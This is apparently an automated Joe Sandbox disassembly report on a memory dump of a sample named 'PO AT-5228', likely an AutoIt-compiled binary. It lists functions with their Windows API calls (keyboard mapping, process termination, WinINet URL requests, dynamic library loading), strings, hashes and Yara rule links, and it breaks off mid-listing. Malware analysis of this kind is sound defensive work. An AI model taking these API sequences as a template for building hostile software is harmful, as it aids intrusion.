Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00B87FEA
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00B87FFD
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00B88010
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00B88023
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00B88036
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00B88049
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00B8805C
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00B8806F

__mtinitlocks.LIBCMT ref: 00B87B4C

Part of subcall function 00B87E23: InitializeCriticalSectionAndSpinCount.KERNEL32(00C1AC68,00000FA0,?,?,00B87B51,00B85E77,00C16C70,00000014), ref: 00B87E41

__mtterm.LIBCMT ref: 00B87B55

Part of subcall function 00B87BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00B87B5A,00B85E77,00C16C70,00000014), ref: 00B87D3F
Part of subcall function 00B87BBD: _free.LIBCMT ref: 00B87D46
Part of subcall function 00B87BBD: DeleteCriticalSection.KERNEL32(00C1AC68,?,?,00B87B5A,00B85E77,00C16C70,00000014), ref: 00B87D68

__calloc_crt.LIBCMT ref: 00B87B7A
GetCurrentThreadId.KERNEL32 ref: 00B87BA3

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: 92ae30d8221ed9205dc5d56e04da96330d38c499c4ac9bd64409275023fbc946
Instruction ID: 4a43933cb6f16cbacf5cf2505e65e6984bd90daf046e0e36019173d6f99f5043
Opcode Fuzzy Hash: 92ae30d8221ed9205dc5d56e04da96330d38c499c4ac9bd64409275023fbc946
Instruction Fuzzy Hash: 55F06D3219D65219E628BA34BD16B4A26CA9B02739B3046E9F9A4D50F2EF20C842C361

Function 00B627EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00B6281D
MapVirtualKeyW.USER32(00000010,00000000), ref: 00B62825
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00B62830
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00B6283B
MapVirtualKeyW.USER32(00000011,00000000), ref: 00B62843
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B6284B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: c7b622aa08772ac49e01a6d3db309df3ddafb382845240b81a9c33d461985f6d
Instruction ID: 6432f6e2e608fc2ff7827f59a56589754ea2ec08ef0546a9faee8ed741f982fe
Opcode Fuzzy Hash: c7b622aa08772ac49e01a6d3db309df3ddafb382845240b81a9c33d461985f6d
Instruction Fuzzy Hash: E7016CB0901B597DE3008F6A8C85B52FFA8FF15354F00411B915C47941C7F5A864CBE5

Function 00BA9AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
Opcode ID: 9e50ecbffef5ebd0b42ce2a80deb955424b92c3c09c4f74168996130027e4350
Instruction ID: 8b0f140ae556233471b8019d6c70da4325d23ecd641486f6c4e0257837eeee32
Opcode Fuzzy Hash: 9e50ecbffef5ebd0b42ce2a80deb955424b92c3c09c4f74168996130027e4350
Instruction Fuzzy Hash: 2701A432206221ABDB151B58ECC8DEB77A9FF89701B04046AF603DB0A0DFB59C00EB51

Function 00BA7BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00BA7C07
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00BA7C1D
GetWindowThreadProcessId.USER32(?,?), ref: 00BA7C2C
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00BA7C3B
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00BA7C45
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00BA7C4C

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 7c2f2ab89f73bec1c7c4a2d44d82c2cf41d0a89d41f5006d7d815a5cc4138b8c
Instruction ID: 91d22fc258f6d0a8f55f483109b4395c8743eaa1f06d379b7ba0754204ef0088
Opcode Fuzzy Hash: 7c2f2ab89f73bec1c7c4a2d44d82c2cf41d0a89d41f5006d7d815a5cc4138b8c
Instruction Fuzzy Hash: 50F03A72241198BFE7215B529C4EEEF7BBCEFC6B11F000158FA01AA051EBE05A41C6B5

Function 00BA9A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00BA9A33
EnterCriticalSection.KERNEL32(?,?,?,?,00BD5DEE,?,?,?,?,?,00B6ED63), ref: 00BA9A44
TerminateThread.KERNEL32(?,000001F6,?,?,?,00BD5DEE,?,?,?,?,?,00B6ED63), ref: 00BA9A51
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00BD5DEE,?,?,?,?,?,00B6ED63), ref: 00BA9A5E

Part of subcall function 00BA93D1: CloseHandle.KERNEL32(?,?,00BA9A6B,?,?,?,00BD5DEE,?,?,?,?,?,00B6ED63), ref: 00BA93DB

InterlockedExchange.KERNEL32(?,000001F6), ref: 00BA9A71
LeaveCriticalSection.KERNEL32(?,?,?,?,00BD5DEE,?,?,?,?,?,00B6ED63), ref: 00BA9A78

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: f4dbe6b938103a31d41a0df968d4cf3c3ecc96d40c83910441fd390ad6c55fa4
Instruction ID: faaa89866f0d9ab7685d56f2bcd8660d6345df3595377920af20052f34860160
Opcode Fuzzy Hash: f4dbe6b938103a31d41a0df968d4cf3c3ecc96d40c83910441fd390ad6c55fa4
Instruction Fuzzy Hash: 5DF05E32145251ABD7111BA4ECC9DAA7779FF85701B140466F6039A0A0DFB59801EB51

Function 00B61CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 00B7F4EA: std::exception::exception.LIBCMT ref: 00B7F51E
Part of subcall function 00B7F4EA: __CxxThrowException@8.LIBCMT ref: 00B7F533

__swprintf.LIBCMT ref: 00B61EA6

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00B61D49

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 2125237772-557222456
Opcode ID: 40ca21c109c9a512227387f1ea9e2b6c8a55d016c140009c565a083f91fbca7c
Instruction ID: a1544626073b79d863028c252d13787974336e91a2121b1e71664f60b59d6cae
Opcode Fuzzy Hash: 40ca21c109c9a512227387f1ea9e2b6c8a55d016c140009c565a083f91fbca7c
Instruction Fuzzy Hash: 1D917D715042029FDB14EF28C896C6ABBF4EF95700F0449AEF895972A1EB75ED04CB92

Function 00BBAFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BBB006
CharUpperBuffW.USER32(?,?), ref: 00BBB115
VariantClear.OLEAUT32(?), ref: 00BBB298

Part of subcall function 00BA9DC5: VariantInit.OLEAUT32(00000000), ref: 00BA9E05
Part of subcall function 00BA9DC5: VariantCopy.OLEAUT32(?,?), ref: 00BA9E0E
Part of subcall function 00BA9DC5: VariantClear.OLEAUT32(?), ref: 00BA9E1A

Strings

AUTOIT.ERROR, xrefs: 00BBB11B
Incorrect Parameter format, xrefs: 00BBB03E, 00BBB20B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: e2a6f2892c9e1664ddc25287d618bd091720491213c316a099be485f3b83d02c
Instruction ID: 224a7373748b010327b9fe0e440de3cd071e534e521fb34891b301298a67828d
Opcode Fuzzy Hash: e2a6f2892c9e1664ddc25287d618bd091720491213c316a099be485f3b83d02c
Instruction Fuzzy Hash: B7915C706083059FCB10DF28C495DAABBF4EF89704F1448ADF89A9B361DBB1E945CB52

Function 00BA5347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7C6F4: _wcscpy.LIBCMT ref: 00B7C717

_memset.LIBCMT ref: 00BA5438
GetMenuItemInfoW.USER32(?), ref: 00BA5467
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00BA5513
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00BA553D

Strings

0, xrefs: 00BA5430

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: cdb3f74c8d226e49074b7afd59291b2efb748c649ab72f7a8392a1cdb948258c
Instruction ID: b7e17f2f8f79e931d9b212e44d38047068b39abcf53b1f49e94b9aa4894757fe
Opcode Fuzzy Hash: cdb3f74c8d226e49074b7afd59291b2efb748c649ab72f7a8392a1cdb948258c
Instruction Fuzzy Hash: 6751037150C7019BD7249B28C8817BFB7E9EFA6750F0406A9F896D3291DBA0CE44CB52

Function 00BA0213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00BA027B
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00BA02B1
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00BA02C2
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00BA0344

Strings

DllGetClassObject, xrefs: 00BA02B7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 2a1cddf12568eabc044c1237b05e246ee81c72791fc1c409d9fc40ed01d0f53e
Instruction ID: 0ffd398393b021754daef6f770b0743d3e403448c9155f882251bdf3921f5b63
Opcode Fuzzy Hash: 2a1cddf12568eabc044c1237b05e246ee81c72791fc1c409d9fc40ed01d0f53e
Instruction Fuzzy Hash: 04415BB1618204EFDF05EF54C8C5B9A7BF9EF4A311F1480E9A9099F206D7B1D944CBA4

Function 00BA5007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BA5075
GetMenuItemInfoW.USER32 ref: 00BA5091
DeleteMenu.USER32(00000004,00000007,00000000), ref: 00BA50D7
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00C21708,00000000), ref: 00BA5120

Strings

0, xrefs: 00BA506D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 9575ff8d177b29444c72776eea8416713347d9a3e0a0d207bee069a15bb1efb4
Instruction ID: c4d6a304a4db12d333be1e3150108996d7c964cfbea52c2fdc050fc1e27d6d32
Opcode Fuzzy Hash: 9575ff8d177b29444c72776eea8416713347d9a3e0a0d207bee069a15bb1efb4
Instruction Fuzzy Hash: 5741C371208741AFD730DF24D885F6ABBE4EF86324F14469EF855A7291D770EA00CB62

Function 00BC0567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 00BC0587

Strings

stdcall, xrefs: 00BC0609
winapi, xrefs: 00BC05F8
none, xrefs: 00BC0662
cdecl, xrefs: 00BC05DE

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2358735015-567219261
Opcode ID: e95617ca3908c3eeaf570e3eb0c66ba73713e36f1e0be685006cec511d8d3e1f
Instruction ID: de791093e389b1fe2a1db9134b112d7d3253e0282dfee89f69eb66ef1d37856a
Opcode Fuzzy Hash: e95617ca3908c3eeaf570e3eb0c66ba73713e36f1e0be685006cec511d8d3e1f
Instruction Fuzzy Hash: 2531907051021AABCF00EF68C841EEEB3F8FF55310B0086A9E866A72D1DB75E915CB40

Function 00B9B80A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00B9B88E
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00B9B8A1
SendMessageW.USER32(?,00000189,?,00000000), ref: 00B9B8D1

Strings

ComboBox, xrefs: 00B9B815
ListBox, xrefs: 00B9B84D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: be50191fc8087afc9499d2501acd8fe0796b85d507e1cd7caf132694d90d8b14
Instruction ID: 5b50aaa5f3adef0e46380a420f5571268d696f501a8eb721eb93e45d01edcd66
Opcode Fuzzy Hash: be50191fc8087afc9499d2501acd8fe0796b85d507e1cd7caf132694d90d8b14
Instruction Fuzzy Hash: 0D21D076900108AFDB04ABA4D886DFE7BF9DF19350B1042B9F065A71E0DB685D0A9760

Function 00B651AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B6522F
_wcscpy.LIBCMT ref: 00B65283
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00B65293
LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00BD3CB0

Strings

Line: , xrefs: 00BD3CD9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memset_wcscpy
String ID: Line:
API String ID: 1053898822-1585850449
Opcode ID: a1210c222cd6b619b9563797f68fc19b8d6999b994620cc2bb423a30bebf96b0
Instruction ID: ba531a0e5d108324b9ddf93a7b3c3a0abd30a543c4d81566748ac90ad053c3b5
Opcode Fuzzy Hash: a1210c222cd6b619b9563797f68fc19b8d6999b994620cc2bb423a30bebf96b0
Instruction Fuzzy Hash: 3931E271408744AFC330EB60DC42FDF77E8AF54300F04456EF98992191EBB8A659CB96

Function 00BB43E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00BB4401
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BB4427
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00BB4457
InternetCloseHandle.WININET(00000000), ref: 00BB449E

Part of subcall function 00BB5052: GetLastError.KERNEL32(?,?,00BB43CC,00000000,00000000,00000001), ref: 00BB5067

Strings

, xrefs: 00BB4450

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: 51d4889384b6ec5effe560dba4132d0d087b087e47d39bd10d3f9c971a0ef7c5
Instruction ID: 03ee325170e1168285be513b144664f55677b2efed1112bc7bad8cccfbb806ac
Opcode Fuzzy Hash: 51d4889384b6ec5effe560dba4132d0d087b087e47d39bd10d3f9c971a0ef7c5
Instruction Fuzzy Hash: E6216AB2600208BFE721AB548CC5FFBBAECFB48748F10855AF10996241EFA48D059761

Function 00BC90E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B7D1BA
Part of subcall function 00B7D17C: GetStockObject.GDI32(00000011), ref: 00B7D1CE
Part of subcall function 00B7D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B7D1D8

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00BC915C
LoadLibraryW.KERNEL32(?), ref: 00BC9163
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00BC9178
DestroyWindow.USER32(?), ref: 00BC9180

Strings

SysAnimate32, xrefs: 00BC9137

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 53e2733f7a56bfe3faec39042fa0288fd70be5f5943b91c467dd69f0a92fe8cb
Instruction ID: 9e4aac4a45e21b240bd284227bfc492a03b3bb9ce1d877cfd85cd6f220abd8e4
Opcode Fuzzy Hash: 53e2733f7a56bfe3faec39042fa0288fd70be5f5943b91c467dd69f0a92fe8cb
Instruction Fuzzy Hash: B7218B71200206BFFF204E649C8AFBA37E9EF99364F19069CF914A7190C771DC52A764

Function 00BA9568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00BA9588
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00BA95B9
GetStdHandle.KERNEL32(0000000C), ref: 00BA95CB
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00BA9605

Strings

nul, xrefs: 00BA9600

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
